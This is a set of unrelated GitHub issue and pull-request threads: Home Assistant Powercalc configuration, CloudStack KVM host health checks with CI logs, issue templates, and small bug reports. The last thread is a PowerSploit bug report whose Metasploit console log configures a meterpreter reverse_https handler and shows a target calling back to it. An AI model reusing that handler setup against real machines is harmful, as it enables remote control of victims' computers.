huge spikes on templated device_energy groups (throw off energy panel)

System Health details
no  health report available
Checklist

[X] I have read the FAQ to see if there is a known solution to my problem.
[X] I have enabled debug logging for my installation.
[X] I have filled out the issue template to the best of my ability.
[X] This issue only contains 1 issue (if you have multiple issues, open one issue for each issue).
[X] This issue is not a duplicate issue of currently previous issues..

Describe the issue
using templates ike:
      - unique_id: non_switches_total_device_energy
        state: >
          {{expand('group.non_switches_total_device_energy')
             |map(attribute='state')
             |select('is_number')
             |map('float')|sum}}
        unit_of_measurement: kWh
        device_class: energy
        state_class: total_increasing

are often completely throwing off the energy panel:

not using an availability template on the template, to prevent false values causing a reset of the sensor. As you can see the has_value() should safeguard individual entities in that group go unknown/unavailable)
the group itself is also made up of pure powercalc sensors, see below:
no 'discovered' entities in this group.
Reproduction steps

not sure, just happens intermittently

...
Debug logs
need to get back on this

Diagnostics dump or YAML config
  non_switches_total_device_energy:
    name: Non Switches total device energy
    entities:
# Non switch devices
      - sensor.airport_express_water_device_energy
      - sensor.googlehome_hall_device_energy
      - sensor.googlehome_hub_device_energy
      - sensor.homepod_keuken_device_energy
      - sensor.luchtreiniger_woonkamer_device_energy
      - sensor.luchtreiniger_hall_device_energy
      - sensor.mco_co2_living_device_energy
      - sensor.plugwise_smile_device_energy
      - sensor.siren_hall_device_energy
      - sensor.watermeter_device_energy
      - sensor.camera_bijkeuken_device_energy
      - sensor.camera_corridor_device_energy
      - sensor.camera_garage_device_energy
      - sensor.camera_hall_device_energy
      - sensor.camera_poort_device_energy
      - sensor.noodlicht_meterkast_device_energy
      - sensor.bel_trafo_device_energy
      - sensor.intercom_trafo_zolder_device_energy
      - sensor.bewegingsensoren_buiten_device_energy
      - sensor.rookmelders_device_energy

and as such there is not much we can do as end user. all of these are set with a fixed config:
    - entity_id: device_tracker.smartgateways_watermeter
      fixed:
        power: 4.9

    - entity_id: device_tracker.airport_express_water
      fixed:
        power: 4.1

    - entity_id: device_tracker.uvc_bijkeuken
      fixed:
        power: 2.1

or
    - entity_id: media_player.homepod_keuken
      standby_power: 2.2
      fixed:
        states_power:
          playing: 2.7
          paused: 2.2
          idle: 2.2

    - entity_id: fan.luchtreiniger_hall
      <<: &ikea_fan
        standby_power: 0.5
        linear:
          attribute: percentage
          calibrate:
            - 10 -> 1.5
            - 18 -> 1.6
            - 20 -> 1.7
            - 30 -> 2.1
            - 40 -> 3.3
            - 50 -> 5.2
            - 60 -> 8.5
            - 70 -> 11.4
            - 80 -> 16.3
            - 90 -> 18.8
            - 100 -> 21.9

and
    - unique_id: powercalc_daily_fixed_noodlicht_meterkast
      daily_fixed_energy:
        value: 1
        unit_of_measurement: W

    - unique_id: powercalc_daily_fixed_rookmelders
      daily_fixed_energy:
        value: 3
        unit_of_measurement: W

yes, Ive done that now...
has taken me some time, because my config is quite complex. In the end, several nested groups, consisting of discovered devices, and manually set devices, even several dummy ones ;-)
hope the recorded states of the former dont interfere, I have them named identically and hope the correct LTS will hop over. if not, well Ive had resets before.
great tools!
and in the end, it was simply a matter of reorganizing some yaml blocks..
so glad I had not done this in the UI just yet

separate followup question please:
can I do:
  sensors:

    - create_group: Sensors energy totaal
      unique_id: powercalc_group_sensors_energy_totaal
      create_energy_sensor: false
      create_utility_meters: true
      utility_meter_types:
        - daily

      entities:
        - entity_id: sensor.inductieplaat_totaal
        - entity_id: sensor.inductieplaat_totaal_terug
        - entity_id: sensor.patchboard_zolder_totaal
        - entity_id: sensor.toaster_keuken_totaal
        - entity_id: sensor.slaapkamer_stopcontact_totaal
      etc etc

and have Powercalc create only a group with the utility_meter 'daily' for this group and its entities? I now have that inside HA, and template the total, but it would be cool if Powercal could do that for me...
so I dont want energy sensor creation (these are direct sensors from the devices already), I  just need to create the utility_meter entities, and total those for the group. Can this be setup like that??

You can't create a utility meter without an energy sensor as energy sensors are used as the source for a utility meter.
Similarly as a power sensor is used as the source for an energy sensor.

was just about to write up a FR, but since you replied:
my totaal sensors are energy sensors and constitute the total energy consumption of those switches attached devices (so, not the switch device_energy, but the load)
I now had to write all UI helpers for _daily sensors, and, more importantly, have to group those, to use them in other templates/displays.
I figured, since Powercalc already has the logic built in to create utility_meter entities based off the energy sensors it creates, maybe that could be evolved to what I am after: a simple config like above, consume those energy sensors, and create utility meter entities.

Did you read this? https://homeassistant-powercalc.readthedocs.io/en/latest/sensor-types/group.html#adding-non-powercalc-sensors
Looks you want to combine both powercalc virtual power/energy sensors and existing power/energy sensors into a powercalc group. This is how to do that.

yes I did read that, but I wasnt sure this is what I should be using, as that speaks of combining ( and probably still creating device sensors?  Maybe I am completely missing the point (probably...) so pleas bear with me. If Id do:
powercalc:
  sensors:
  sensors:

    - create_group: Sensors energy totaal
      unique_id: powercalc_group_sensors_energy_totaal
      # create_energy_sensor: false do I need this??
      create_utility_meters: true
      utility_meter_types:
        - daily

      entities:
        - energy_sensor_id: sensor.inductieplaat_totaal
        - energy_sensor_id: sensor.inductieplaat_totaal_terug
        - energy_sensor_id: sensor.patchboard_zolder_totaal
        - energy_sensor_id: sensor.toaster_keuken_totaal
        - energy_sensor_id:: sensor.slaapkamer_stopcontact_totaal
      etc etc

would this group create _daily utility entities for the group itself and all individual entities, and nothing else?

You don't want create_energy_sensor: false, as that would conflict with create_utility_meters: true. An energy sensor is a prerequisite for a utility meter to be created.
So the configuration you shared above should create a utility meter for the group and daily utility meters for every energy sensor under entities.
Also it should create an energy sensor for the group

that would be awesome really, but in fact I must be doing it wrong:
  sensors:

    - create_group: Sensors totaal
      unique_id: powercalc_group_sensors_totaal
      utility_meter_types:
        - daily

      entities:
        - energy_sensor_id: sensor.inductieplaat_totaal
        - energy_sensor_id: sensor.inductieplaat_totaal_terug
        - energy_sensor_id: sensor.patchboard_zolder_totaal
        - energy_sensor_id: sensor.toaster_keuken_totaal
        - energy_sensor_id: sensor.slaapkamer_stopcontact_totaal

        - energy_sensor_id: sensor.plus_plug_s_totaal
        - energy_sensor_id: sensor.dorm_studenten_totaal
        - energy_sensor_id: sensor.garage_deur_totaal
        - energy_sensor_id: sensor.symfonisk_dining_totaal

throws an error above not providing an entity_id:
Deze fout is ontstaan door een aangepaste integratie.

Logger: custom_components.powercalc.sensor
Source: custom_components/powercalc/sensor.py:294
Integration: Powercalc (documentation, issues)
First occurred: 16:04:43 (10 occurrences)
Last logged: 16:04:43

Group state might be misbehaving because there was an error with an entity: You must supply an entity_id in the configuration, see the README
Could not resolve any entities in group 'Sensors totaal'

I will have a look when I have some time on hand. Probably tomorrow.

I did have a quick look, but a power sensor is quite a requirement withing powercalc setup code. Would need to overhaul some things to support your use case. And it's not an easy task.
I would suggest you to also reference the power sensors, the upside of that is that you will also have the group Watt value.
This scenario is covered by a lot of tests and should be fully supported.
sensors:
    - create_group: Sensors totaal
      unique_id: powercalc_group_sensors_totaal
      utility_meter_types:
        - daily

      entities:
        - power_sensor_id:  sensor.inductieplaat_actueel
          energy_sensor_id: sensor.inductieplaat_totaal

etc.

thanks Bram
will have a go, (though I fear the power sensors would also be created for the individual entities? not sure what to expect really ;-) since they are already there...)
reporting back as soon as I have some useful result

this is nice indeed, had to understand the naming scheme  (and it at forst took the global setting which confused me completely.....), and changed it a bit but now using this:

##########################################################################################
# Daily energy, so the consumption of the devices connected to the plugs
# creates: daily energy sensors for all individuals sensor.[source object_id]_daily
# and the following grouped sensors:
# sensor.alle_schakelaars_samen_totaal_daily, summed daily energy sensor for all entities
# sensor.alle_schakelaars_samen_actueel, summed power for all entities W (source: '_actueel')
# sensor.alle_schakelaars_samen_totaal, summed energy for all entities kWh (source: '_totaal)
##########################################################################################

    - create_group: Alle schakelaars samen
      unique_id: powercalc_group_alle_schakelaars_samen
      energy_sensor_naming: '{} totaal'
      power_sensor_naming: '{} actueel'
      utility_meter_types:
        - daily

      entities:
        - energy_sensor_id: sensor.toaster_keuken_totaal
          power_sensor_id: sensor.toaster_keuken_actueel
        - etcetc

which is very nice (though still find it a bit complex to configure in yaml to have to list both power and energy sensors there)
I can now also take out some other helpers that I had already made:
all daily utility_meters for the totaal, and several statistics/summed sensors based on those.
thx,
closing as his should prevent the spikes I had been seeing, if not Ill open a new because the full Poewrcalc config has changed I the last 2 days.....

Very nice.

which is very nice (though still find it a bit complex to configure in yaml to have to list both power and energy sensors there)

By default powercalc tries to find an energy sensor on the same device when you only supply power_sensor_id, but this can cause problems when a device has multiple energy sensors. In your scenario this is the case (because there is also an energy sensor created by powercalc). Also shelly PM devices have multiple energy sensors.
There is no one-to-one relation in HA installation how I can sense that.
So that's why you need to specify both power_sensor_id and energy_sensor_id.


Move options tests to server, refactor command and commands tests, validate missing selector (in context of #415)

\cc @AlexanderMoskovkin @AndreyBelym
@AlexanderMoskovkin note new command structure

lgtm

lgtm


Issue-14264: Removed Issue Forms and Added Issue Templates

Hey, I just made a Pull Request!
This PR replaces the existing Github Issue Templates with the new Github Issue Forms.
Screenshots
Please find the screenshots for all the new Issue Forms below.
Bug Report

Feature Request

RFC

Plugin

UX Component

:heavy_check_mark: Checklist

[x] Prepare bug report issue form in .github/ISSUE_TEMPLATE/bug.yaml
[x] Prepare feature request issue form in .github/ISSUE_TEMPLATE/feature.yaml
[x] Prepare plugin suggestion issue form in .github/ISSUE_TEMPLATE/plugin.yaml
[x] Prepare RFC issue form in .github/ISSUE_TEMPLATE/rfc.yaml
[x] Prepare UX Component issue form in .github/ISSUE_TEMPLATE/ux_component.yaml
[x] Screenshots attached (for UI changes)
[x] All your commits have a Signed-off-by line in the message. (more info)

Fixes #14264
Signed-off-by: Rutam21<EMAIL_ADDRESS>

@Rugvip Please review and suggest changes, if any or approve. Thanks.

Hey :wave: sorry some of the maintainers have been at KubeCon in Detroit this week so things have been a little slower than usual! Rest assured this is something that we want, we just want to go through and review! Thanks for your patience!


Auto Enable/Disable KVM hosts

Description
This PR allows CloudStack to auto-disable and auto-enable KVM hosts resource state based on customisable host/hypervisor health checks.
Management server changes
A new cluster configuration 'enable.kvm.host.auto.enable.disable' is added, disabled by default.
This PR extends the AgentManager to process StartupRoutingCommand and PingRoutingCommand with the host health check result:

If the host health check result is null, do nothing.
If the host health check result is true, enable the host resource state if it is Disabled.
If the host health check result is false, disable the host resource state if it is Enabled.

On every automatic enable or disable event, the management server will send an alert to the admin and add/update an automatic annotation (comment) on the specific host.
KVM host Health Check
Set the path of an executable file/script for host health check on the property 'agent.health.check.script' on agent.properties

The health check result is true, if the script is executed successfully and the exit code is 0
The health check result is false, if the script is executed successfully and the exit code is 1
The health check result is null, if

Script file is not specified, or
Script file does not exist, or
Script file is not accessible by the user of the cloudstack-agent process, or
Script file is not executable
There are errors when the script is executed (exit codes other than 0 or 1)

Types of changes

[ ] Breaking change (fix or feature that would cause existing functionality to change)
[ ] New feature (non-breaking change which adds functionality)
[ ] Bug fix (non-breaking change which fixes an issue)
[x] Enhancement (improves an existing feature and functionality)
[ ] Cleanup (Code refactoring and cleanup, that may add test cases)

Feature/Enhancement Scale or Bug Severity
Feature/Enhancement Scale

[ ] Major
[ ] Minor

Bug Severity

[ ] BLOCKER
[ ] Critical
[ ] Major
[ ] Minor
[ ] Trivial

Screenshots (if appropriate):
How Has This Been Tested?
2xRocky8 KVM hosts in 1 cluster -> put host1 into maintenance, test host2

Enable the cluster setting wihout providing a health script to the host -> no automatic enable/disable
Enable the cluster setting, set a script that doesn't have permission rights -> no automatic enable/disable
Enable the cluster setting, set a script that succeeds (ping the management server) -> observe the health check result is successful, but since the host is Enabled is not transitioned to any state
Enable the cluster setting, set a script that fails (ping an unreacheable host) -> observe the health check result is false, the host2 is put into Disabled state
Enable the host2 manually -> the host2 is set to Enabled state
The next failure sets the hosts2 into Disabled state again
Modify the script again so it succeeds, the host2 goes into Enabled state, then disable manually the host2 -> the future successful health checks do not put the host into Disabled state

@blueorangutan package

@nvazquez a Jenkins job has been kicked to build packages. It will be bundled with  KVM, XenServer and VMware SystemVM templates. I'll keep you posted as I make progress.

Packaging result: :heavy_multiplication_x: el7 :heavy_multiplication_x: el8 :heavy_multiplication_x: el9 :heavy_multiplication_x: debian :heavy_multiplication_x: suse15. SL-JID 5499

@blueorangutan package

@nvazquez a Jenkins job has been kicked to build packages. It will be bundled with  KVM, XenServer and VMware SystemVM templates. I'll keep you posted as I make progress.

Packaging result: :heavy_check_mark: el7 :heavy_check_mark: el8 :heavy_check_mark: el9 :heavy_check_mark: debian :heavy_check_mark: suse15. SL-JID 5500

@blueorangutan package

@nvazquez a Jenkins job has been kicked to build packages. It will be bundled with  KVM, XenServer and VMware SystemVM templates. I'll keep you posted as I make progress.

Packaging result: :heavy_check_mark: el7 :heavy_check_mark: el8 :heavy_check_mark: el9 :heavy_check_mark: debian :heavy_check_mark: suse15.  It will be bundled with  KVM, XenServer and VMware SystemVM templates. I'll keep you posted as I make progress.

Packaging result: :heavy_check_mark: el7 :heavy_check_mark: el8 :heavy_check_mark: el9 :heavy_check_mark: debian :heavy_check_mark: suse15.  It will be bundled with  KVM, XenServer and VMware SystemVM templates. I'll keep you posted as I make progress.

Packaging result: :heavy_check_mark: el7 :heavy_check_mark: el8 :heavy_check_mark: el9 :heavy_check_mark: debian :heavy_check_mark: suse15.  It will be bundled with  KVM, XenServer and VMware SystemVM templates. I'll keep you posted as I make progress.

@blueorangutan test

@nvazquez a Trillian-Jenkins test job (centos7 mgmt + kvm-centos7) has been kicked to run smoke tests

Trillian test result (tid-6124)
Environment: kvm-centos7 (x2), Advanced Networking with Mgmt server 7
Total time taken: 43538 seconds
Marvin logs: https://github.com/blueorangutan/acs-prs/releases/download/trillian/pr7170-t6124-kvm-centos7.zip
Smoke tests completed. 107 look OK, 0 have errors, 0 did not run
Only failed and skipped tests results shown below:

Test
Result
Time (s)
Test File

@blueorangutan package

@nvazquez a Jenkins job has been kicked to build packages. It will be bundled with  KVM, XenServer and VMware SystemVM templates. I'll keep you posted as I make progress.

Packaging result: :heavy_check_mark: el7 :heavy_check_mark: el8 :heavy_check_mark: el9 :heavy_check_mark: debian :heavy_check_mark: suse15. SL-JID 5525

Thanks @slavkap @weizhouapache, I've addressed your reviews
@blueorangutan package

@nvazquez a Jenkins job has been kicked to build packages. It will be bundled with  KVM, XenServer and VMware SystemVM templates. I'll keep you posted as I make progress.

@blueorangutan test

@nvazquez a Trillian-Jenkins test job (centos7 mgmt + kvm-centos7) has been kicked to run smoke tests

Trillian test result (tid-6134)
Environment: kvm-centos7 (x2), Advanced Networking with Mgmt server 7
Total time taken: 41579 seconds
Marvin logs: https://github.com/blueorangutan/acs-prs/releases/download/trillian/pr7170-t6134-kvm-centos7.zip
Smoke tests completed. 106 look OK, 1 have errors, 0 did not run
Only failed and skipped tests results shown below:

Test
Result
Time (s)
Test File

test_hostha_enable_ha_when_host_in_maintenance
Error
303.85
test_hostha_kvm.py

@blueorangutan package

@nvazquez a Jenkins job has been kicked to build packages. It will be bundled with  KVM, XenServer and VMware SystemVM templates. I'll keep you posted as I make progress.

Packaging result: :heavy_multiplication_x: el7 :heavy_multiplication_x: el8 :heavy_multiplication_x: el9 :heavy_multiplication_x: debian :heavy_multiplication_x: suse15. SL-JID 5553

@blueorangutan package

@nvazquez a Jenkins job has been kicked to build packages. It will be bundled with  KVM, XenServer and VMware SystemVM templates. I'll keep you posted as I make progress.

@blueorangutan test

@nvazquez a Trillian-Jenkins test job (centos7 mgmt + kvm-centos7) has been kicked to run smoke tests

Trillian test result (tid-6162)
Environment: kvm-centos7 (x2), Advanced Networking with Mgmt server 7
Total time taken: 41864 seconds
Marvin logs: https://github.com/blueorangutan/acs-prs/releases/download/trillian/pr7170-t6162-kvm-centos7.zip
Smoke tests completed. 105 look OK, 2 have errors, 0 did not run
Only failed and skipped tests results shown below:

Test
Result
Time (s)
Test File

test_isolate_network_password_server
Failure
18.56
test_password_server.py

test_02_deploy_vm_with_extraconfig_kvm
Error
1.18
test_deploy_vm_extra_config_data.py

test_03_update_vm_with_extraconfig_kvm
Error
1.15
test_deploy_vm_extra_config_data.py

@blueorangutan package

@nvazquez a Jenkins job has been kicked to build packages. It will be bundled with  KVM, XenServer and VMware SystemVM templates. I'll keep you posted as I make progress.

Packaging result: :heavy_check_mark: el7 :heavy_check_mark: el8 :heavy_check_mark: el9 :heavy_check_mark: debian :heavy_check_mark: suse15. SL-JID 5600

@blueorangutan test

@nvazquez a Trillian-Jenkins test job (centos7 mgmt + kvm-centos7) has been kicked to run smoke tests

@blueorangutan package

@nvazquez a Jenkins job has been kicked to build packages. It will be bundled with  KVM, XenServer and VMware SystemVM templates. I'll keep you posted as I make progress.

Packaging result: :heavy_check_mark: el7 :heavy_check_mark: el8 :heavy_check_mark: el9 :heavy_check_mark: debian :heavy_check_mark: suse15. SL-JID 5659

@blueorangutan test

@nvazquez a Trillian-Jenkins test job (centos7 mgmt + kvm-centos7) has been kicked to run smoke tests

Trillian test result (tid-6237)
Environment: kvm-centos7 (x2), Advanced Networking with Mgmt server 7
Total time taken: 38815 seconds
Marvin logs: https://github.com/blueorangutan/acs-prs/releases/download/trillian/pr7170-t6237-kvm-centos7.zip
Smoke tests completed. 108 look OK, 0 have errors, 0 did not run
Only failed and skipped tests results shown below:

Test
Result
Time (s)
Test File

@blueorangutan test matrix

@borisstoyanov a Trillian-Jenkins matrix job (centos7 mgmt + xenserver71, rocky8 mgmt + vmware67u3, centos7 mgmt + kvmcentos7) has been kicked to run smoke tests

Trillian test result (tid-6243)
Environment: xenserver-71 (x2), Advanced Networking with Mgmt server 7
Total time taken: 37248 seconds
Marvin logs: https://github.com/blueorangutan/acs-prs/releases/download/trillian/pr7170-t6243-xenserver-71.zip
Smoke tests completed. 108 look OK, 0 have errors, 0 did not run
Only failed and skipped tests results shown below:

Test
Result
Time (s)
Test File

Trillian test result (tid-6245)
Environment: kvm-centos7 (x2), Advanced Networking with Mgmt server 7
Total time taken: 38850 seconds
Marvin logs: https://github.com/blueorangutan/acs-prs/releases/download/trillian/pr7170-t6245-kvm-centos7.zip
Smoke tests completed. 108 look OK, 0 have errors, 0 did not run
Only failed and skipped tests results shown below:

Test
Result
Time (s)
Test File

Trillian test result (tid-6244)
Environment: vmware-67u3 (x2), Advanced Networking with Mgmt server r8
Total time taken: 71902 seconds
Marvin logs: https://github.com/blueorangutan/acs-prs/releases/download/trillian/pr7170-t6244-vmware-67u3.zip
Smoke tests completed. 77 look OK, 31 have errors, 0 did not run
Only failed and skipped tests results shown below:

Test
Result
Time (s)
Test File

ContextSuite context=TestTemplates>:setup
Error
6.25
test_templates.py

test_09_project_suspend
Error
1.54
test_projects.py

test_10_project_activation
Error
2.49
test_projects.py

ContextSuite context=TestRouterServices>:setup
Error
0.00
test_routers.py

test_03_deploy_vm_domain_service_offering
Error
11.22
test_domain_service_offerings.py

test_03_create_vpc_domain_vpc_offering
Error
12.01
test_domain_vpc_offerings.py

test_01_events_resource
Error
4.21
test_events_resource.py

test_01_events_resource
Error
4.22
test_events_resource.py

test_deploy_vm_with_registered_userdata
Error
5.02
test_register_userdata.py

test_deploy_vm_with_registered_userdata_with_override_policy_allow
Error
5.05
test_register_userdata.py

test_deploy_vm_with_registered_userdata_with_override_policy_append
Error
5.08
test_register_userdata.py

test_deploy_vm_with_registered_userdata_with_params
Error
4.94
test_register_userdata.py

ContextSuite context=TestHostControlState>:setup
Error
3.72
test_host_control_state.py

ContextSuite context=TestInternalLb>:setup
Error
0.00
test_internal_lb.py

test_01_add_delete_kubernetes_supported_version
Error
1802.67
test_kubernetes_supported_versions.py

ContextSuite context=TestResetVmOnReboot>:setup
Error
0.00
test_reset_vm_on_reboot.py

ContextSuite context=TestListIdsParams>:setup
Error
0.00
test_list_ids_parameter.py

ContextSuite context=TestIsolatedNetworks>:setup
Error
0.00
test_routers_network_ops.py

ContextSuite context=TestRedundantIsolateNetworks>:setup
Error
0.00
test_routers_network_ops.py

ContextSuite context=TestLoadBalance>:setup
Error
0.00
test_loadbalance.py

test_01_scale_vm
Error
1.38
test_scale_vm.py

test_02_scale_vm_negative_offering_disable_scaling
Error
1.24
test_scale_vm.py

test_03_scale_vm_negative_vm_disable_scaling
Error
1.29
test_scale_vm.py

test_04_scale_vm_with_user_account
Error
9.06
test_scale_vm.py

test_05_scale_vm_dont_allow_disk_offering_change
Error
1.32
test_scale_vm.py

test_01_sys_vm_start
Failure
0.12
test_secondary_storage.py

ContextSuite context=TestVMWareStoragePolicies>:setup
Error
0.00
test_storage_policy.py

ContextSuite context=TestMetrics>:setup
Error
0.00
test_metrics_api.py

ContextSuite context=TestServiceOfferings>:setup
Error
1517.48
test_service_offerings.py

ContextSuite context=TestRouterIpTablesPolicies>:setup
Error
0.00
test_routers_iptables_default_policy.py

ContextSuite context=TestVPCIpTablesPolicies>:setup
Error
0.00
test_routers_iptables_default_policy.py

test_01_scale_up_verify
Failure
35.03
test_vm_autoscaling.py

test_02_update_vmprofile_and_vmgroup
Failure
245.69
test_vm_autoscaling.py

test_03_scale_down_verify
Failure
304.60
test_vm_autoscaling.py

test_04_stop_remove_vm_in_vmgroup
Failure
0.03
test_vm_autoscaling.py

test_06_autoscaling_vmgroup_on_project_network
Failure
42.93
test_vm_autoscaling.py

test_06_autoscaling_vmgroup_on_project_network
Error
42.94
test_vm_autoscaling.py

test_07_autoscaling_vmgroup_on_vpc_network
Error
4.31
test_vm_autoscaling.py

ContextSuite context=TestVmAutoScaling>:teardown
Error
16.32
test_vm_autoscaling.py

test_01_deploy_vm_on_specific_host
Error
0.09
test_vm_deployment_planner.py

test_02_deploy_vm_on_specific_cluster
Error
1.32
test_vm_deployment_planner.py

test_03_deploy_vm_on_specific_pod
Error
1.41
test_vm_deployment_planner.py

test_04_deploy_vm_on_host_override_pod_and_cluster
Error
0.57
test_vm_deployment_planner.py

test_05_deploy_vm_on_cluster_override_pod
Error
1.29
test_vm_deployment_planner.py

ContextSuite context=TestDeployVM>:setup
Error
0.00
test_vm_life_cycle.py

test_01_offline_migrate_VM_and_root_volume
Error
1.49
test_vm_life_cycle.py

test_02_offline_migrate_VM_with_two_data_disks
Error
1.36
test_vm_life_cycle.py

test_03_live_migrate_VM_with_two_data_disks
Error
1.41
test_vm_life_cycle.py

test_04_migrate_detached_volume
Error
1.38
test_vm_life_cycle.py

ContextSuite context=TestVAppsVM>:setup
Error
1521.43
test_vm_life_cycle.py

ContextSuite context=TestVMLifeCycle>:setup
Error
1525.57
test_vm_life_cycle.py

test_01_unmanage_vm_cycle
Error
3.82
test_vm_lifecycle_unmanage_import.py

ContextSuite context=TestUnmanageVM>:teardown
Error
3.86
test_vm_lifecycle_unmanage_import.py

test_change_service_offering_for_vm_with_snapshots
Error
1.31
test_vm_snapshots.py

ContextSuite context=TestVmSnapshot>:setup
Error
8.40
test_vm_snapshots.py

ContextSuite context=TestCreateVolume>:setup
Error
0.00
test_volumes.py

ContextSuite context=TestVolumes>:setup
Error
1518.99
test_volumes.py

ContextSuite context=TestIpv6Vpc>:setup
Error
0.00
test_vpc_ipv6.py

ContextSuite context=TestVPCRedundancy>:setup
Error
0.00
test_vpc_redundant.py

ContextSuite context=TestVPCNics>:setup
Error
0.00
test_vpc_router_nics.py

ContextSuite context=TestRVPCSite2SiteVpn>:setup
Error
0.00
test_vpc_vpn.py

ContextSuite context=TestVPCSite2SiteVPNMultipleOptions>:setup
Error
0.00
test_vpc_vpn.py

ContextSuite context=TestVpcRemoteAccessVpn>:setup
Error
0.00
test_vpc_vpn.py

ContextSuite context=TestVpcSite2SiteVpn>:setup
Error
0.00
test_vpc_vpn.py

test_01_cancel_host_maintenace_with_no_migration_jobs
Error
0.07
test_host_maintenance.py

test_02_cancel_host_maintenace_with_migration_jobs
Error
0.06
test_host_maintenance.py

test_03_cancel_host_maintenace_with_migration_jobs_failure
Error
0.06
test_host_maintenance.py

@blueorangutan test vmware7

@blueorangutan help

@borisstoyanov I understand these words: "help", "hello", "thanks", "package", "test"
Test command usage: test [mgmt os] [hypervisor] [keepEnv] [qemuEv]
Mgmt OS options: ['centos7', 'centos6', 'suse15', 'alma8', 'ubuntu18', 'ubuntu22', 'ubuntu20', 'rocky8', 'alma9']
Hypervisor options: ['kvm-centos6', 'kvm-centos7', 'kvm-rocky8', 'kvm-alma8', 'kvm-alma9', 'kvm-ubuntu18', 'kvm-ubuntu20', 'kvm-ubuntu22', 'kvm-suse15', 'vmware-55u3', 'vmware-60u2', 'vmware-65u2', 'vmware-67u3', 'vmware-70u1', 'vmware-70u2', 'vmware-70u3', 'xenserver-65sp1', 'xenserver-71', 'xenserver-74', 'xcpng74', 'xcpng76', 'xcpng80', 'xcpng81', 'xcpng82']
Note: when keepEnv is passed, you need to specify mgmt server os and hypervisor or use the matrix command.
when qemuEv is passed, it will deploy KVM hyperviosr hosts with qemu-kvm-ev, else it will default to stock qemu.
Package command usage: package [all(default value),kvm,xen,vmware,hyperv,ovm] - a comma separated list can be passed with package command to bundle the required hypervisor's systemVM templates. Not passing any argument will bundle all - kvm,xen and vmware templates.
Blessed contributors for kicking Trillian test jobs: ['rohityadavcloud', 'nvazquez', 'borisstoyanov', 'DaanHoogland', 'shwstppr', 'andrijapanicsb', 'rahulbcn27', 'davidjumani', 'harikrishna-patnala', 'vladimirpetrov', 'weizhouapache', 'NuxRo', 'mlsorensen']

@blueorangutan test centos7 vmware-70u3

@borisstoyanov a Trillian-Jenkins test job (centos7 mgmt + vmware-70u3) has been kicked to run smoke tests

Trillian test result (tid-6271)
Environment: vmware-70u3 (x2), Advanced Networking with Mgmt server 7
Total time taken: 43592 seconds
Marvin logs: https://github.com/blueorangutan/acs-prs/releases/download/trillian/pr7170-t6271-vmware-70u3.zip
Smoke tests completed. 108 look OK, 0 have errors, 0 did not run
Only failed and skipped tests results shown below:

Test
Result
Time (s)
Test File

@blueorangutan package

@nvazquez a Jenkins job has been kicked to build packages. It will be bundled with  KVM, XenServer and VMware SystemVM templates. I'll keep you posted as I make progress.

Packaging result: :heavy_multiplication_x: el7 :heavy_multiplication_x: el8 :heavy_multiplication_x: el9 :heavy_multiplication_x: debian :heavy_multiplication_x: suse15. SL-JID 5726

@blueorangutan package

@nvazquez a Jenkins job has been kicked to build packages. It will be bundled with  KVM, XenServer and VMware SystemVM templates. I'll keep you posted as I make progress.

Packaging result: :heavy_multiplication_x: el7 :heavy_multiplication_x: el8 :heavy_multiplication_x: el9 :heavy_multiplication_x: debian :heavy_multiplication_x: suse15. SL-JID 5727

@nvazquez a Jenkins job has been kicked to build packages. It will be bundled with  KVM, XenServer and VMware SystemVM templates.  It will be bundled with  KVM, XenServer and VMware SystemVM templates. I'll keep you posted as I make progress.

Packaging result: :heavy_check_mark: el7 :heavy_check_mark: el8 :heavy_check_mark: el9 :heavy_check_mark: debian :heavy_check_mark: suse15. SL-JID 5806

@blueorangutan test

@nvazquez a Trillian-Jenkins test job (centos7 mgmt + kvm-centos7) has been kicked to run smoke tests

@nvazquez @borisstoyanov - is this unit test and marvin test coverage decent? (I'm not sure if codecov is right - if it isn't, can you check and advise?)


Pressing Backspace deletes the file when editing the file name

Is there any way to make the key backspace do not delete file? Cheers.

+1, this is a really serious problem. Steps to reproduce.

Create a new file (or edit existing filename)
Type some stuff in the filename box
Hit backspace a bunch of times in quick succession, with the expectation of deleting what you've written

This will result in the accidental deletion of several files at the same time, with no indication of what's happening. At first, I didn't even realise what happened, and thought there'd been some sync corruption issue and my files were permanently lost. Luckily I checked the Trash folder.
Since file deletion is a big deal, I recommend disabling deletion-by-backspace.

Should be fixed in v5.10.1.


Sombra can translocate while casting EMP

In GitLab by @MaxwellJung on Jan 18, 2024, 09:22

mentioned in commit 9cbd1f11f407029e11e0e20c5514c0c876271c28


Issue with Invoke-Shellcode and Metasploit 4.11.0-dev.15168

Invoke-Shellcode crashes the target process when using Metasploit 4.11.0-dev.15168. I spun up a fresh  ubuntu box and did a fresh clone of the metasploit-framework from Github. It appears that they updated something with the handler that causes strange output leading to a crash with Invoke-Shellcode:
msf > version
Framework: 4.11.0-dev
Console  : 4.11.0-dev.15168
msf > use exploit/multi/handler
msf exploit(handler) > set lhost <IP_ADDRESS>
lhost => <IP_ADDRESS>
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > exploit
[] Started HTTPS reverse handler on https://<IP_ADDRESS>:4444/
[] Starting the payload handler...
[] <IP_ADDRESS>:57054 Request received for /INITM... (UUID:5f0d77ffbf16b0d6/x86=1/windows=1/2015-04-14T03:22:58Z)
[] <IP_ADDRESS>:57054 Unknown request to /INITM #<Rex::Proto::Http::Request:0x00000008cc4bf8 @headers={"User-Agent"=>"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)", "Host"=>"<IP_ADDRESS>:4444", "Connection"=>"Keep-Alive"}, @auto_cl=true, @state=3, @transfer_chunked=false, @inside_chunk=false, @bufq="", @body="", @method="GET", @raw_uri="/INITM", @uri_parts={"QueryString"=>{}, "Resource"=>"/INITM"}, @proto="1.1", @chunk_min_size=1, @chunk_max_size=10, @uri_encode_mode="hex-normal", @relative_resource="/INITM", @body_bytes_left=0>...
^C[-] Exploit failed: Interrupt
msf exploit(handler) >
On the target machine, Powershell (or the process being injected into) crashes once the request to /INITM is made. This has been tested with both HTTP and HTTPS meterpreter payloads in Invoke-Shellcode on both x86 and x64 machines.

